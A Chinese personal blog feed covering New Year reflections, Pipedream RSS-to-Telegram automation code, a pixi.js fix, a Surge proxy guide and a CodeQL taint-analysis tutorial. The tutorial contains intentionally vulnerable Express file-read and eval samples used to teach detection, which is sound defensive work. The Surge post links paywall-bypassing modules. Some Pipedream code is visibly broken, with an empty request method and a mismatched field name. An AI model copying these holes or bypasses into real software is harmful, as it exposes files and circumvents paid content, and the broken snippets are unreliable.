过年的一些碎碎念

回家

今年（哦其实应该算是去年）是比较反感回家的，所以算是一直拖到了工作的最后一天才回去。回家的旅程稍有些波澜，高铁晚点半小时，到长沙后又开始下雪了，所幸接我的司机挺靠谱的，长沙回老家的路上，第一次意识到高速公路原来是没有路灯的

可惜手机随手拍的太差了，那种恐怖的氛围：高速路的前方没有任何一辆车，漆黑的夜空中，大雪扑面而来，孩子从没见过这种世面😭

所幸还是平安回家，一个小时左右就到达市区了。原来曾经只能远远观望的隧道早已修通，长达4.5公里！询问司机才得知老早就开通了，好吧，确实是我孤陋寡闻了

一些小事

年前两天也没多少事，大年三十上午又约了球友去打羽毛球，这回没想到是一个体育生已经高三了，被他虐的体无完肤（，同时作为过来人，也了解了下他面临的处境，给了他一些说不上有什么用的学习建议吧

我妈还跟我提到一件事，说我国庆回老家的时候，不是叫上了曾经的一个小学同学一起打羽毛球，打完后正常A了场地费和球费嘛。结果那个小学同学的妈妈有一次路上碰见我妈，刻意提起这件事，还要特地强调一句就我一个人赚钱了。。

我开始还没反应过来，什么叫就我一个人赚钱了。后来才意识到，这个言下之意不就是觉得我太小气了吗… 但我在深圳生活这么久，A钱已经成了一个习惯，结果到了你们这，就成了指摘人的一个把柄..

这件事让我觉得很无语，于是过年就懒得联系那个小学同学了。我宁愿去小红书上发帖找志同道合的一些朋友

稍微激进一点想，我感觉打败微信的新产品已经出来了，就是小红书。微信永远不会被另一个熟人社交产品给打败，只是当人们都开始讨厌熟人社交，讨厌那些背后的利益计算的时候，陌生人社交反而是一种更好的选择

好了不说这些了，在老家玩烟花还是很开心的

大年初一第一天，球馆免费，人还少，于是又跑去打球了😁，正好约到了一位技术水平相当的球友，两个人一直连续单打了俩小时，大汗淋漓

过年还差点出了一次车祸…本来我打完球好好地骑车回家，谁曾想一辆出租车突然停在我前面开始下客…司机完全没看后视镜，于是我就撞上了刚打开的车门，所幸没有出大事，左手小拇指擦破了皮，当我刚反应过来的时候，出租车已经跑走了..😭

原生家庭

以前我还没觉得原生家庭对于一个人有多么大的影响，这次回家突然就意识到，我跟我妈在某些方面也太像了（但是我妈的性格没有我那么急，可能这一点是受我爸的影响吧）

同时还有一点感想，我们都讨厌那些过年走亲戚的时候，被他们问东问西。其实归根结底，他们无非就是想从你这里找到一点优越感罢了。当他们无法把你比下去的时候，他们甚至都不愿意开口问你（🤣，比如目前亲戚里还没有几个大学考的比我好，工作比我好的，所以过年基本没人会问我这些…）

其他

繁花

过年剩余的时间就在家里追繁花了，汪小姐这一幕又哭又笑演的太好了啊！

龙脉常歌

以及年前通关了《龙脉常歌》（好吧其实是XGP马上就要退库了），略显平淡地剧情，却依旧阻挡不了我泪流满面

小红书帖子：坐车攻略

分享了一条最便宜省心的坐车攻略，没想到第一次被这么多人点赞和评论，果然当你用真诚的态度去分享有用的事情或者攻略，都是一件很棒的事情！（又想起了那位专门教大家如何坐高铁坐飞机这些生活攻略的up主，这些才是必备的生活技能）

app推荐：StressWatch

推荐一款app，stresswatch，通过计算心跳HRV来评估压力，自我认为还是挺准的

pipedream免费自动化工作流使用教程

Tue, 06 Feb 2024 00:00:00 GMT

pipedream免费自动化工作流使用教程

日常的n8n其实经常要崩，看通知我都看烦了（

IFTTT虽然好用，但还是稍显简陋，免费版最多支持两个，于是搜索了下还有一个免费的平台叫 pipedream（貌似可以同时运行5个工作流，只是限制了每天调用100次数，不过这也够了）

整体体验下来，pipedream还是缺失了还能多功能的，比如n8n经常会用到的：

导出工作流为json保存
批量处理多个item（n8n是可以支持针对一个数组里的每个item都运行一遍工作流节点的）
搭建一个工作流略微繁琐，但是很geek，对程序员还比较友好

创建一个rss工作流

这里就纯粹靠自己摸索出来的经验了，不一定是最优解：

rss的节点，只需要提供一个url，自动解析其中的数据

对数据去重，这里需要写点代码，比较繁琐，放到后面专门讲

条件判断，针对去重后的数据判断是否有值，如果没有直接返回

发送tg消息

数据存储及去重

pipedream提供了一个专门用于存储数据的页面，可以可视化地查看存储的数据，这一点比n8n要好

推荐每个工作流都有一个数据存储位置，你可以将其理解为一个简单的kv缓存

接下来解释下我这里去重的代码，本质上和n8n里的很相似

我们要编写的代码位于run函数中，其他的不用动
steps.merge_rss_feeds.$return_value 是自动解析rss节点返回的json数据
let lastItemId = await this.myDataStore.get("guid"); 去kv中取出最近一次的记录，是个异步操作，需要加await
getId 函数就是获得每个节点的guid
newItems 存储要发送的最新item，是通过循环比对获得的
await this.myDataStore.set("guid",getId(firstItem)) 覆盖最近一次的记录

不过要注意的是，pipedream似乎不支持批量发送，即如果 newItems 有多个，也只能发送


  props: {
    myDataStore: { type: "data_store" },
  },
  async run({ steps, $ }) {
    let items = steps.merge_rss_feeds.$return_value
    let lastItemId = await this.myDataStore.get("guid");
    let firstItem = items[0]
    let newItems = [];
    function getId(item) {
      return item.guid;
    }

    if (lastItemId) {
      for (const item of items) {
        if (getId(item) === lastItemId) {
          break;
        }
        newItems.push(item)
      }
    } else {
      newItems = [firstItem]
    }

    await this.myDataStore.set("guid",getId(firstItem))
    return newItems.reverse() // 先发送老的消息，再发送最新的
  },
})

解决pipedream无法批量发送消息

原本只是为了解决无法批量发送消息的问题，我想到直接用自定义代码的方式来循环发送就好了，于是写出了如下代码：



  props: {
    telegram_bot_api: {
      type: "app",
      app: "telegram_bot_api",
    },
    chat_id: {
      type: "string",
      label: "Chatid",
      default: "@RayeJourney",
    },
  },
  async run({steps, $}) {
    const items = steps.data_stores.$return_value 
    const results = []; // 用于存储每个消息发送操作的结果
    for (const item of items) {
      // 构造要发送的消息内容
      const message = `📝 ${item.title} blog\n\n${item.url}`;

      // 发送消息
      const result = await axios($, {
        url: `https://api.telegram.org/bot${this.telegram_bot_api.$auth.token}/sendMessage`,
        method: ,
        headers: {
          'Content-Type': 'application/json',
        },
        data: {
          chat_id: `${this.chatid}`, 
          text: message,
          parse_mode: 'HTML', // 如果消息内容包含 HTML，可以设置这个参数
        },
      });

      // 将每次发送操作的结果添加到结果数组中
      results.push(result.data);
    }

    // 返回所有发送操作的结果
    return results;
  },
})

这也是低代码平台常见的解决方案了，通过在代码中自定义的方式来增加新的field，比如这里就可以给当前节点增加选择tg机器人，以及一个填写chat_id 的field

telegram_bot_api: {
  type: "app",
  app: "telegram_bot_api",
},
chat_id: {
  type: "string",
  label: "Chatid",
  default: "@RayeJourney",
},

写到这里，我突然意识到可以直接把所有步骤合并到一起了…，索性干脆合并到一起写得了，简单易懂还不需要折腾那么多，最终代码如下：

每次只需要改动几个点：

几个必选项是需要填的
message_template需要修改下，我这里是把item当做feed，然后replace替换的，所以代码中也需要做下修改



  props: {
    my_data_store: { 
      type: "data_store",
      label: "MyDataStore"
    },
    my_data_key: {
      type: "string",
      label: "MyDataKey",
      default: "xlog"
    },
    telegram_bot_api: {
      type: "app",
      app: "telegram_bot_api",
    },
    chat_id: {
      type: "string",
      label: "Chatid",
      default: "@RayeJourney",
    },
    message_template: { // 由于 message 需要动态填充，改为 message_template
      type: "string",
      label: "Message",
      default: "📝 ${item.title} blog\n\n${item.link}"
    }
  },
  async run({steps, $}) {
    const items = steps.merge_rss_feeds.$return_value // 直接获取rss拉到的信息，最新的在最前面
    // 获取db
    let lastItem = await this.my_data_store.get(`${this.my_data_key}`) // 确保使用正确的数据存储访问方式
    
    const results = []; // 移动到 run 方法的顶部
    let newItem = []; // 存储要发送的消息
    const getId = (item) => {
      return item.link;
    };

    const sendMsg = async (item) => { // 确保 sendMsg 是异步的
      // 动态构造消息内容
      const message = this.message_template.replace('${item.title}', item.title).replace('${item.link}', item.link);
      try {
        const result = await axios($, {
          url: `https://api.telegram.org/bot${this.telegram_bot_api.$auth.token}/sendMessage`,
          method: ,
          headers: {
            'Content-Type': 'application/json',
          },
          data: {
            chat_id: this.chat_id, // 直接使用 this.chat_id
            text: message,
            parse_mode: 'HTML',
          },
        });
        results.push(result.data); // 添加结果到 results 数组
      } catch (error) {
        console.error("Error sending message:", error);
        // 处理错误，例如添加错误信息到 results
        results.push({error: "Failed to send message", details: error.toString()});
      }
    };

    // 确保遍历的逻辑正确处理最新和最旧的项
    for(const item of items){ // 不能优先处理最老的，一定要从最新的开始，因为会把旧的也加进来..
      if(lastItem && getId(item) === getId(lastItem)){
        break; // 如果找到了上次处理的最后一个项，则停止处理
      }
      newItem.push(item)
    }

    for(const item of newItem.reverse()){
      await sendMsg(item); // 等待发送消息
    } 
    // 更新数据存储中的 lastItem 为本次处理的最新项
    if (items.length > 0) {
      await this.my_data_store.set(this.my_data_key, items[0]); // 假设 items[0] 是最新的项
    }

    // 返回所有发送操作的结果
    return results;
  },
})

最终的部署举例

如果你恰巧是通过rsshub获取的链接，然后想推送到tg，那么就很简单了（话说都已经用rsshub，为啥不直接用rss to tg呢🤣）

以xlog的博客推送举例，现在只需要三个部分：

触发时间，两个小时检查一次足矣
拉取rss信息，比如我的 https://rayepeng.net/feed
然后添加一个code节点，将上文的代码粘贴过去

点一下刷新field

然后上方就出现了这些框框，自行编辑

第一次启动工作流

第一次启动工作里的时候，由于此时还没有任何数据，如果你直接运行的话会导致大量历史消息全部发送出去

于是，建议这样

在db中，手动粘贴下这个值（因为批量发送的时候会对比，如果和db里的一样就不会再发送了）

好了，现在就大功告成了，不得不说运行速度还是比n8n要快多了（

pixi.js开发微信小游戏——一个问题的解决

Tue, 06 Feb 2024 00:00:00 GMT

pixi.js开发微信小游戏——一个问题的解决

pixi.js 开发微信小游戏

我使用的 pixi.js 是5.2.1版本的，加载资源的API变成了一个全局单例对象 PIXI.Loader.shared

在运行小游戏项目的时候，加载图片资源是这样写的：

let loader = PIXI.Loader.shared
loader.add('bg', 'static/textures/bg.png');

但是微信开发者工具一直报错，提示没有 indexOf 方法，于是开始追踪报错信息，定位到报错栈的上一层，在调用 crossOrigin 方法前有一个 if 判断

判断 source 类型，如果不是继承自 HTMLImageElement ，则会将 source 当做一个字符串，进入到后续方法，并且调用 indexOf 方法报错

但问题就出在 source 已经是一个image对象了，自然没有 indexOf 方法，所以就报错了

那为啥 instanceof 判断会失败了，于是在浏览器环境下测试

控制台输入下，很明显返回是true

那为啥小游戏环境下就返回false呢，那就估计是 adapter 的问题了

我这里用的adapter是别人重新修改的 @iro/wechat-adapter （微信原来提供的版本有很多问题），发现如下一处代码写得有问题：

经过我测试发现，wx.createImage().construcotr 本身就已经是 HTMLImageElement ,这里又多了个 extends ，原型链上多了一层，自然就有问题了

不熟悉原型链的朋友，可以看下这个图简单理解下（我理解的 instanceof 和 extends 本质就是原型链的查找）

所以我们直接改成等于就好，不需要 extends

如果只是想临时修改代码，我们可以git clone 到本地后，修改代码，然后在项目的依赖中，指向本地即可：

"@iro/wechat-adapter": "file:/Users/rayepeng/Documents/OpenSource/MyFrontEndCode/wechat-adapter/src/",

这样就项目就成功运行起来了

ps. 修改后的 wechat-adapter 包已发布： https://www.npmjs.com/package/@rayepeng/wechat-adapter

surge入坑指南（一）

Tue, 06 Feb 2024 00:00:00 GMT

surge入坑指南（一）

为什么要使用surge呢？

作为surge的三端用户，mac端+手机端+Apple tv端

不得不说surge的界面确实很美（

最主要的用途：流媒体观看 + 国外app使用 + ChatGPT
其次：京东比价，阿里云盘自动签到，B站ui修改等多种module
开发用途：抓包，会员破解

当然实际上我这里用到的功能远不及surge包含的，高级功能如网关配置、内网穿透，DHCP服务器等，也有过折腾，但日常很少涉及到就不细说了

当然上述能力，其实QuanX、clashX、小火箭也都可以作为替代品，而且价格也还算便宜（clashX免费）。如果打定主意要头铁入坑surge，就准备好氪金吧哈哈

如何入坑surge呢？

mac端购买链接 Surge Mac - Advanced Web Debugging Proxy for Mac & iOS (nssurge.com)
ios端购买链接 Surge Mac - Advanced Web Debugging Proxy for Mac & iOS (nssurge.com)
如果购买了ios端，则Apple tv端免费赠送（前提是账号需要绑定到同一个iCloud账户上）

强烈建议网页端购买而不是App Store内购，你会感谢我的（因为外区Apple id账号很容易被ban，也难以共享给他人使用）

网页端购买推荐买支持多台设备的套餐，可以共享出去来回点本，单人购买有点亏🥹

有了surge后，还没完，你需要购买机场服务（自建节点也是可以的，但比较麻烦容易被封），推荐我一直用的机场（通过我的链接注册可以获得优惠😄）

https://rabbitpro.net/auth/register?code=JEBu

好了，下一步就是导入配置，机场提供了自带的配置，开箱可用

导入配置后，最好创建一份当前配置的副本方便我们后续编辑（当前配置无法修改）

surge的基础界面我也介绍下：

好了，你已经正式入门了，接下来就是见证surge的魔力了

基础分流规则

首先需要理解下什么是分流，关于这一点似乎没有统一的定义，个人理解如下：

上网本质就是和服务器传输数据，传输的数据按照字节数来统计就是多少流量（插一句，推荐去看《上传新生》这部剧，会对流量有更深的理解）

我们和服务器之间是有很多条连接的，这些连接可以简单分个类，比如国内的服务，国外没有被墙的服务，国外被墙的服务

而分流，就是将国外被墙的服务统统走机场代理，从而绕过墙的封锁，此处应该有图（但实际没有🐶）

简单小结下：

国内的服务
国外没有被墙的服务
国外被墙的服务

这其中，国外被墙的服务又因为地域的限制，加上了一堵无形的墙，比如OpenAI的服务就墙掉了香港的ip

于是，我们又需要进一步分流，将国外的服务分流到不同地区的节点，比如常见的香港、美国、印度、尼日利亚、土耳其、阿根廷（我是精神阿根廷人！）等

上一个小节中，导入的surge配置文件，其中有很大一部分就是做这个分流的

此时打开surge，我们需要切换到“规则模式”，三个模式分别理解如下：

直接连接：surge变身小透明，所有流量一股脑的放过
全局模式：surge变身大魔王，所有的流量都被surge代理
规则模式：surge变身检查员，按照我们配置好的分流规则来分流

切换到规则模式后，此时的策略组还比较简单，只分成了四类：国内，国外，苹果，其他

比如我们想访问ChatGPT服务的话，此时我们需要的将ChatGPT的服务都通过美国节点来访问，因此我们需要几个事情：

ChatGPT的服务器有哪些
美国节点
分流规则

那么ChatGPT的服务有哪些呢，已经有人帮忙整理好了，搜索 surge rule chatgpt github 就能找到： ios_rule_script/rule/Surge/OpenAI/OpenAI.list at master · blackmatrix7/ios_rule_script (github.com)

这里列出的就是我们需要获得原始的raw链接

https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/rule/Surge/OpenAI/OpenAI.list

当然更推荐用jsdelivr加速后的（因为raw.github的链接被墙了，后续更新资源容易导致报错连不上）：

jsdelivr加速方法，只需要把github的域名替换为 cdn.jsdelivr.net/gh 拼接下就好

https://cdn.jsdelivr.net/gh/blackmatrix7/ios_rule_script/rule/Surge/OpenAI/OpenAI.list

第一步准备好，第二步我们准备美国相关的节点，如果你是通过机场导入的配置，已经自动添加了很多节点，当然也可以手动去添加你的vps节点

我们可以对这些节点做一个归类，比如按照地域来划分，点击【代理服务器】，拖到最底下，新增一个策略组：

surge把代理服务器和策略组（即代理服务器的聚合）都视作代理服务器看待

将美国节点都拖进去（其他地区解锁OpenAI稳定性一般，美国节点最稳定）

第三步，设定分流规则，此时就可以直接添加一条分流到ChatGPT的规则了

好了，已经成功了，访问ChatGPT试试

补充

机场的节点并不是稳定的，可能出现短暂无法使用

此时可以切换到策略组，点击测速，切换到连接畅通的节点（人工负载均衡了属于是🤣）

嫌手工切麻烦的话，也可以在策略组中，选择这两个

URL延迟自动测试：自动选择延迟最低的
URL可用性自动测试：不可用时随机选择一个可用的
负载均衡：每次随机切换

进阶分流规则

既然已经添加了第一条规则，那肯定要摩拳擦掌，试试添加一堆的规则了，比如Netflix、HBO、pornhub（大雾）

折腾之前别忘了，我们添加这些规则本质上为了实现无感知的上网，即不管是访问国内还是国外的服务，surge都自动为我们选择代理或者是不代理

这些规则都可以在这里找到：https://github.com/blackmatrix7/ios_rule_script.git，慢慢折腾就好了

规则微调

有些规则可能是过期的，比如HBO的规则，网上搜到的基本都过期了，于是可以这么做：

先切换到全局模式，我们选择节点为美国，此时surge大魔王就会强制要求所有流量都通过美国节点（注意这时就别去刷国内的剧了，速度又慢又浪费流量）
此时打开HBO MAX app，在【最近请求】页面观察下都访问了什么域名（surge也贴心地提供了浮窗可以实时观察）
选择你觉得需要添加规则的域名，一般都很有特征的，比如 [hbo.com](http://hbo.com) 或者是 [max.com](http://max.com) 之类的，一般我们会选择 DOMAIN-SUFFIX （后面说这是什么）

可以选择临时规则或者永久规则，这是为了测试考虑

规则详解

前面我们使用到的都是规则集，即包含了一系列的分流规则，surge中称之为 RULE-SET

RULE-SET 的形式是一行一个规则，surge的规则除了针对域名分流，针对ip、针对进程（mac上）也都是可以的

常见的规则形式有：

域名规则
- DOMAIN：严格匹配某域名。
- DOMAIN-SUFFIX：匹配某域名及其子域名，如 DOMAIN-SUFFIX,apple.com 可以匹配 apple.com 和 www.apple.com，但是不会匹配 anapple.com。
IP地址规则
其他规则
- PROCESS-NAME：仅对 Mac 版本有效，可以匹配程序名。
- SRC-IP：可匹配连接来源 IP 地址，接管其他设备连接时可使用。
- IN-PORT：Mac 版本支持多端口监听，可为不同监听端口配置特定的规则。

脚本&模块

在使用脚本和模块功能之前，最好是先打开MITM

打开MITM需要证书信任操作，这里不仔细说了，建议自行Google

之后就可以切换到【修改】界面，使用脚本和模块功能了

其实这两者本质上都是对请求和响应做一些修改，并且完成一些自动化的工作，但个人觉得模块相比脚本更好用，原因在于：

脚本的配置比较繁琐，需要自行添加MITM的域名
模块相对来说更简单，一键安装即可（但依赖模块作者开发的质量，比如之前有个模块作者直接覆盖掉了我的 skip-proxy 配置，我后面找了半天才找到原因）

下面提供了一些开箱即用的模块：

京东比价：https://raw.githubusercontent.com/Rabbit-Spec/Surge/Master/Module/Spec/JD_Price/Moore/JD_Price.sgmodule
阿里云盘签到：https://github.com/rayepeng/surge-module/raw/main/aliyunpan.sgmodule.sgmodule
看天下app免费读：https://raw.githubusercontent.com/rayepeng/surge-module/main/ktx.sgmodule
财新周刊免费读： https://raw.githubusercontent.com/rayepeng/surge-module/main/caixin.sgmodule\

更进阶的模块技巧需要搭配boxjs使用，安装链接：https://raw.githubusercontent.com/chavyleung/scripts/master/box/rewrite/boxjs.rewrite.surge.sgmodule

文档：介绍 - BoxJs

比如自定义B站ui的模块：https://raw.githubusercontent.com/BiliUniverse/Enhanced/main/modules/BiliBili.Enhanced.sgmodule

搭配boxjs可以自由勾选首页展示的内容：

后续内容

零零散散先写了这么多，主要是平常使用到的一些经验沉淀，后面一篇准备写一下配置文件、编写脚本和模块吧

参考

Surge Mac使用指南 | by Alan He | Jan, 2024 | Medium
Surge 官方中文指引：理解 Surge 原理 (nssurge.com) surge官方的文档，对于深入理解网络协议有很大的帮助
GetSomeCats/Surge新手从注册Apple ID到退款.md at Surge · getsomecat/GetSomeCats (github.com) 这个写的很详细了
推荐最小配置，可以认识配置文件中国区用户推荐最小配置 - Surge Tech Community (nssurge.com)

我们失去长文阅读能力了吗？

Wed, 31 Jan 2024 00:00:00 GMT

我们失去长文阅读能力了吗？

起因是一次工作后去玩剧本杀，大家面对冗长的文字，纷纷抱怨读得好累，此时一位同事感慨，“我们似乎已经失去长文阅读能力了”

我不太喜欢这种说法，却发现无法反驳，只能在无可奈何中又默默地背上一顶帽子

那什么是长文呢？有标准吗，如果按照我们以前高考写作文的字数，姑且认为800字就可以算作长文吧，那看来我们以前是有读写长文能力的，现在面对剧本杀动辄上万字的文稿，我们似乎确实已失去了长文阅读能力了吧

但我还是有疑问，阅读长文，这一再普通不过的技能，为什么会成为自媒体口诛笔伐的对象？难道这是一种稀缺的能力？

不，实际上是这种所谓”似乎失去“的万能句式，有这极大的杀伤力。任何一件事物，只要套上，诸如，”似乎失去了好好睡觉的能力“，”似乎失去了写作的能力“，”似乎失去了交友的能力“等，这些本属于我们自己的日常生活，属于我们的私事，好像就可以被摁到自媒体们的放大镜下，接受鸡蛋里挑骨头般的考核（似乎，还带着一点朦胧诗意的语言🐶）

走出了这种万能句式给我们设下的陷阱，再重新审视这个问题，有问题总是好的，我们大可不用愧疚，而是就事论事，我们真的有失去长文阅读能力吗？我认为是没有的

如开头所述的场景中，工作劳累了一天的我们，面对上万字的文本，抱怨两声似乎也无可厚非，大可不用受到这种pua式的指责

阅读长文本质是和注意力挂钩的，当你有足够满格的注意力，并且也不知疲倦，此时哪怕是二十四史在你面前，也都是小菜一碟吧

就有人问了，那短视频、游戏呢，不是也分走了我们的注意力吗，此时我们是不是就已经失去了阅读长文的能力吗？

注意力被分走了，但还是会恢复的，只是随着长时间的沉溺，注意力确实很难集中。但这并不代表我们就失去了长文阅读能力啊，哪怕长文，不也是一段段的吗，慢慢读不就行了

只是在一些人眼中，似乎只要不是一口气读完长文，就不算真正拥有了阅读能力；似乎只要不是整天苦行僧般地学习，就不算真正地自律

荀子是劝你们要学习了，但他老人家似乎从没要求过要逼迫自己吧，不积跬步，无以至千里，正所谓厚积薄发，慢慢积累就好

以及，文本的质量，也会影响阅读的效率，这就不多说了，对比下《耶路撒冷三千年》的简中和繁中版本就知道了

我只希望，那些”水字数“的自媒体们，少点心思，多沉下来，”似乎你们已经失去了写出好文章的能力了“

23年运动记录

Mon, 15 Jan 2024 00:00:00 GMT

23年运动记录

Codeql 原理分析（一）

Mon, 15 Jan 2024 00:00:00 GMT

Codeql 原理分析（一）

Codeql原理概述

codeql整个漏洞扫描可以分为两部分：

AST数据库创建，通过命令行工具即可
规则编写，类似SQL的语法来编写漏洞查询规则

分为编译型语言和非编译型语言

非编译型语言，如python、js

codeql database create --language=javascript --source-root <folder-to-extract> databaseName

编译型语言，如cpp、go

codeql database create "xxx" --language=cpp -c "gcc main.c"

编译出来的数据库长这样：

.
├── baseline-info.json
├── codeql-database.yml
├── db-javascript
│   ├── default
│   ├── semmlecode.javascript.dbscheme
│   └── semmlecode.javascript.dbscheme.stats
├── diagnostic
│   ├── cli-diagnostics-add-20231128T030607.340Z.json
│   ├── extractors
│   └── tracer
├── log
│   └── database-create-20231128.110453.457.log
└── src.zip

重点是 db-javascript 文件夹，包含了对应的AST结构数据库结构
log 目录和日志相关
src.zip是源代码的备份

规则编写——打点

一个简单的规则

比如任意文件读取漏洞，如下 fs.readFile 函数存在任意文件读取漏洞

const express = require('express');
const fs = require('fs');
const app = express();

app.get('/getFile', (req, res) => {
  const fileName = req.query.fileName;
  fs.readFile(fileName, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});

app.listen(3000);

我们可以将代码中含有 fs.readFile 函数的代码都提取出来，编写规则如下：

/**
 * @name fs-read-file
 * @kind problem
 * @problem.severity warning
 * @tags correctness
 * @id js
 */



from CallExpr fsReadFile
where
  fsReadFile.getCalleeName() = "readFile"
select fsReadFile, "This is a call to fs.readFile."

codeql查询本质是通过AST树来查找的，写法类似SQL的写法

from 定义变量，比如我们想查询 readFile ，这是一个函数调用表达式 CallExpr
还有一些限制条件，这个函数调用表达式的被调用函数名称，类似 sql 的where条件写法
最后select出查询的结果

当然很明显，存在大量的误报，所有的 fs.readFile 函数都会被认为是存在漏洞

所以我们面临一个问题，即如何区分正常的代码和有污点的代码 sink

污点分析原理

如图，我们定义

source：数据源，代表直接引入不受信任的数据或者机密数据到系统中
sink：污点汇聚点，代表直接产生安全敏感操作或者泄露隐私数据到外界

至于其中经过的一个个Node，可以认为是词法分析里最小的一个个Token，代表着if、while、for、函数调用等

污点分析的步骤：

只要我们标记了source和sink， codeql会判断只要满足有一条路径能够从 source 流向 sink ，就会认为这是一个漏洞

污点分析的局限

官方没有公开原理，但是经过多轮测试我们发现codeql追踪最准的还是赋值语句，路径更多的是形式上的，并且没有考虑到语言特性：

代码1：

let x = process.argv[0]
let ctrl = 1
let y

if(ctrl > 0){
    y = 1
}else{
    y = x
}
eval(y)

source 定义为 process.argv[0]
sink 定义为 eval(y)

尽管 ctrl 永远是大于0的，但codeql还是会判断存在从source到sink的路径

代码2

let x = process.argv[0]
Object.prototype.a = x

let y = {}
eval(y.a)

// 或者
let x = process.argv[0]

let c = {}
c.a = x

let y = {
    b:c
}
eval(y.b.a)

实际上这里都存在问题，但codeql均无法召回

细化污点规则

codeql的判断是比较有限的，如果仅仅标记source和sink会出现大量的误报和漏报情况

分析这些情况，大致可以归纳从 source 到 sink 所经过的代码路径为如下四种（代码特性的除外需要额外做判断）

经过一系列正常的 if、while 等正常流程到达 sink
经过一个filter函数过滤到达sink
经过一个check函数，如果不满足条件，则无法到达sink，但形式上还是可以流向sink的
经过一个正常的join等函数到达sink

数据源通过无害处理到达污点sink

const express = require('express');
const fs = require('fs');
const app = express();
  
function sanitizePath(path) {
  // 简单的清理逻辑，例如移除路径导航字符
  return path.replace(/(\.\.\/|\/\.\.)/g, '');
}
  
  
app.get('/getFile', (req, res) => {
  const fileName = req.query.fileName;
  const safeFileName = sanitizePath(fileName);
  fs.readFile(safeFileName, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});
  
app.listen(3000);

数据源检查不通过直接返回

const express = require('express');
const fs = require('fs');
const app = express();
  
  
const SAFE_DIRECTORY = '/path/to/safe/directory';
  
app.get('/getFile', (req, res) => {
  const fileName = req.query.fileName;
  if (!fileName.startsWith(SAFE_DIRECTORY)) {
    // 不允许读取
    return res.status(403).send('Access denied');
  }
  fs.readFile(fileName, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});
  
app.listen(3000);

数据源直接到达污点，或者经过多个处理到达污点（实际是两种）

const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.get('/getLog', (req, res) => {
  const logFile = req.query.logFile;
  const logPath = path.join(__dirname, 'logs', logFile); // 经过path.join 
  fs.readFile(logPath, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});

app.listen(3000);

因此我们需要做额外的处理，除了定义source和sink之外，还需要增加 barrier、sanitizer、AdditionTaintStep

filter：无害处理(sanitizer)，代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害
barrier：屏障，不同于sanitizer，barrier不清理或改变数据，而是作为条件检查或决策点，阻止数据流的某些路径。
AdditionTaintStep: source在传递的过程中可能断开，这时需要手动连接

编写污点分析规则

codeql中提供了两种方式来分析

静态规则，即AST树查询，以AST树节点的方式呈现，属于静态分析
动态规则，即数据流DataFlow查询，抽象为 DataFlow::Node 基类，属于动态分析

AST树很好理解，DataFlow 会有点抽象，主要分为几种不同的节点

DataFlow::Node 可以表示程序里的任何元素，基类，即词法分析里的Token

var x = 10; // 'x' 和 '10' 都可以是 DataFlow::Node 的实例
var y = x + 5; // 'y', 'x + 5', 'x', 和 '5' 也都是 DataFlow::Node 的实例

DataFlow::ValueNode 用于表示程序中的值或者表达式

var name = "Alice"; // 'name' 和 "Alice" 都是 DataFlow::ValueNode 的实例
function greet() {
    return "Hello, " + name; // 'return "Hello, " + name;' 是 DataFlow::ValueNode 的实例
}

DataFlow::SourceNode 表示程序的输入点，如用户输入，文件读取等
DataFlow::SinkNode 表示可能存在sink的点
DataFlow::PathNode 用于敏感数据分析的变量，没有特殊的用途了

编写规则一般的流程是：

定义source，即输入数据源是什么，可以理解为是外部输入的数据
定义sink，即污点代码，比如 readFile
定义isBarrier、isSanitizer、isAdditionalTaintStep （非必需，只是为了减少误报和漏报）

一般框架如下：





class FileReadFromUserInput extends TaintTracking::Configuration {
  FileReadFromUserInput() { this = "FileReadFromUserInput" }

  override predicate isSource(DataFlow::Node source) {
		// 定义Source
  }
  override predicate isSink(DataFlow::Node sink) {
		// 定义Sink
  }
}

codeql通过类似函数的写法，结合AST语法树的查询来打点标记，比如标记eval处的sink点

   override predicate isSink(DataFlow::Node sink) {
    // Eval is a sink
    exists(CallExpr call |
        call.getCalleeName() = "eval" and
        sink.asExpr() = call.getArgument(0)
      )
   }

最后查询：

from FileReadFromUserInput cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "$@ flows to $@ ", source.getNode(), source.toString(), sink.getNode(), sink.toString()

Source

express框架里，Source一般比较固定，即 req.query.xxxx 就是外部输入的数据

Source的编写本质也是通过AST语法树来查找，对于现成的框架如express，codeql有编写好的规则可以直接用

override predicate isSource(DataFlow::Node source) {
    exists(Express::RouteHandler rh, DataFlow::SourceNode sn |
        sn = rh.getARequestSource() and
        source = sn.getAPropertyRead("query").getAPropertyRead()
    )
}

exists 也是一个谓词，这里是为了简单地引入临时变量
Express::RouteHandler 是内置的一个规则，能查找出express对应的路由处理代码

注意这里的 = 要从右到左看，本质上是赋值的意思

写完之后就可以马上select一下看看结果：

Sink

由于是处理任意文件读取漏洞，sink就是我们最开始编写的查找 readFile 调用。额外注意的是，还需要标注对应的sink点

fs.readFile 的第一个参数是可能被控制的点，因此通过

sink.asExpr() = call.getArgument(0) (这里的sink要做下数据类型转换，DataFlow和AST节点是两个模型）

  override predicate isSink(DataFlow::Node sink) {
    exists(CallExpr call |
        call.getCalleeName() = "readFile" and
        sink.asExpr() = call.getArgument(0)
      )
  }

AdditionalTaintStep

但是这种情况下会存在漏洞，比如这个就无法找到，因为经过了 path.join ，source被传递了

const express = require('express');
const fs = require('fs');
const path = require('path');
const app = express();

app.get('/getLog', (req, res) => {
  const logFile = req.query.logFile;
  const logPath = path.join(__dirname, 'logs', logFile);
  fs.readFile(logPath, 'utf8', (err, data) => {
    if (err) {
      res.status(500).send(err.toString());
    } else {
      res.send(data);
    }
  });
});

app.listen(3000);

所以需要额外编写一个 isAdditionalTaintStep，即如果遇到了 join 这种函数，可以视作source经过了一次传递，后继节点可以继续连接上

  override predicate isAdditionalTaintStep(DataFlow::Node pred, DataFlow::Node succ) {
    exists(CallExpr call |
        call.getCalleeName() = "join" and (
            pred.asExpr() = call.getAnArgument() and succ.asExpr() = call
        )
    )
  }

最终汇总的规则与结果分析

最后的规则汇总，不过还是存在一些误报，即没有处理 sanitizer

/**
 * @name file-read-from-user-input
